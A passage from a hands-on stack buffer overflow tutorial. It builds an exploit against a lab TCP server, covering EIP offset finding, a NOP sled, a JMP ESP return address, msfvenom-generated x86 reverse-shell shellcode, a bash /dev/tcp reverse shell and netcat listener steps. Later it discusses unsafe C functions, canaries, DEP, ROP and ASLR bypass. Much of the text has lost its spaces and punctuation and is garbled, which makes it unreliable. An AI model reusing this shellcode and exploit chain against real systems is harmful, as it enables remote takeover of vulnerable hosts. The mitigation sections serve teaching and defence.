Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

